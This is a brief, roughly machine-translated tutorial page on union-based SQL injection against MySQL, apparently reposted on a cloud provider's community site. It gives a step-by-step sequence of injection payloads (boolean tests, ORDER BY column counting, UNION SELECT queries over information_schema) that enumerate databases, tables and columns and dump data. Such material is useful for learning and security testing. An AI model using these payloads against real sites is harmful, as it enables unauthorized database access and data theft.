SQL injection--mysql

Source: Internet
Author: User

Tags: base COM system inf on () Order 5.0 Judging operating system

MySQL database structure:

Database A--table name--and column name--Data

Database B--and table--and column--data

MySQL Database information:

MySQL more than 5.0 self-brought database: Information_schema

Information_schema.schemata: The schemata library name under the database, meaning: A table that stores the library name information under all databases.

Information_schema.tables: The tables table name under the database, meaning: A table that stores table name information for all databases.

Information_schema.columns: The columns table name under the database, meaning: A table that stores column name information for all databases.

Database (): DB name

User (): Database Users

Version (): Database version

@ @version_compile_os: Operating system

Table_schema: Database name

TABLE_NAME: Table name

COLUMN_NAME: Column Name

MySQL Injection process:

(1) Judgment injection point:? id=1 and 1=1;? Id=1 and 1=2

(2) Judging length:? id=1 ORDER BY 3

(3) Get basic information: @ @version_compile_os, version (), database (), User ()

(4) Get the library name:? id=1 Union Select table_schema,2,3 from Information_schema.schemata

(5) Get the table name:? id=1 Union Select table_name,2,3 from information_schema.tables where Table_schema = library name [16 binary]

(6) Get column name:? id=1 Union Select column_name,2,3 from information_schema.columns where Table_schema = library name [16 binary]

and table_name = table name [16 binary]

(7) Get Data: id=1 Union Select column name [16 binary], column name [16],3 from table name [16 binary]

SQL injection--mysql

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

Tags Index: